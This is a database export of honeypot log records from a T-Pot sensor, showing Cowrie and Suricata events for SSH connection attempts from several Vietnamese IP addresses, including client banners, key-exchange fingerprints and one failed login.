20805	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:11.781497+03	2021-09-20 14:15:02.844612+03	{"_id": "sQXiAnwBvYTbRNuEhfvF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [data/data] failed", "session": "f0d8ee6e7eed", "@version": "1", "password": "data", "username": "data", "timestamp": "2021-09-20T11:06:11.781497Z", "@timestamp": "2021-09-20T11:06:11.781Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
20806	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:11.798866+03	2021-09-20 14:15:02.845612+03	{"_id": "sgXiAnwBvYTbRNuEhfvF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "ad80d8e088f0", "@version": "1", "duration": 2.504094362258911, "timestamp": "2021-09-20T11:06:11.798866Z", "@timestamp": "2021-09-20T11:06:11.798Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20808	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:11.979929+03	2021-09-20 14:15:02.848613+03	{"_id": "tAXiAnwBvYTbRNuEhfvF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "26fb2e2ff8e6", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:11.979929Z", "@timestamp": "2021-09-20T11:06:11.979Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
20809	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:11.983209+03	2021-09-20 14:15:02.849613+03	{"_id": "tQXiAnwBvYTbRNuEhfvF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "b4fc044894dd", "@version": "1", "timestamp": "2021-09-20T11:06:11.983209Z", "@timestamp": "2021-09-20T11:06:11.983Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
20810	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:12.008091+03	2021-09-20 14:15:02.852614+03	{"_id": "tgXiAnwBvYTbRNuEhfvF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "7dbef6505905", "@version": "1", "timestamp": "2021-09-20T11:06:12.008091Z", "@timestamp": "2021-09-20T11:06:12.008Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
20811	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:12.010921+03	2021-09-20 14:15:02.853613+03	{"_id": "twXiAnwBvYTbRNuEhfvF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "5689498eb0fb", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:12.010921Z", "@timestamp": "2021-09-20T11:06:12.010Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
20812	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:12.046298+03	2021-09-20 14:15:02.854613+03	{"_id": "uAXiAnwBvYTbRNuEhfvF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "c319d72d9024", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:12.046298Z", "@timestamp": "2021-09-20T11:06:12.046Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
20813	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:12.047395+03	2021-09-20 14:15:02.855612+03	{"_id": "uQXiAnwBvYTbRNuEhfvF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "8a9a673fb643", "@version": "1", "timestamp": "2021-09-20T11:06:12.047395Z", "@timestamp": "2021-09-20T11:06:12.047Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
20814	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:12.079137+03	2021-09-20 14:15:02.857613+03	{"_id": "ugXiAnwBvYTbRNuEhfvF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "c319d72d9024", "@version": "1", "timestamp": "2021-09-20T11:06:12.079137Z", "@timestamp": "2021-09-20T11:06:12.079Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
20815	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:06:12.046794+03	2021-09-20 14:15:02.858613+03	{"_id": "uwXiAnwBvYTbRNuEiPt1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1412311598408466, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 48186, "dest_port": 22, "timestamp": "2021-09-20T11:06:12.046794Z", "@timestamp": "2021-09-20T11:06:12.046Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
20816	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:06:12.05658+03	2021-09-20 14:15:02.860612+03	{"_id": "vQXiAnwBvYTbRNuEiPt1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1019429465051331, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 52174, "dest_port": 22, "timestamp": "2021-09-20T11:06:12.056580Z", "@timestamp": "2021-09-20T11:06:12.056Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
20817	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:12.191925+03	2021-09-20 14:15:02.861612+03	{"_id": "vwXiAnwBvYTbRNuEiPt1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 2237022628724618, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 44030, "dest_port": 22, "timestamp": "2021-09-20T11:06:12.191925Z", "@timestamp": "2021-09-20T11:06:12.191Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
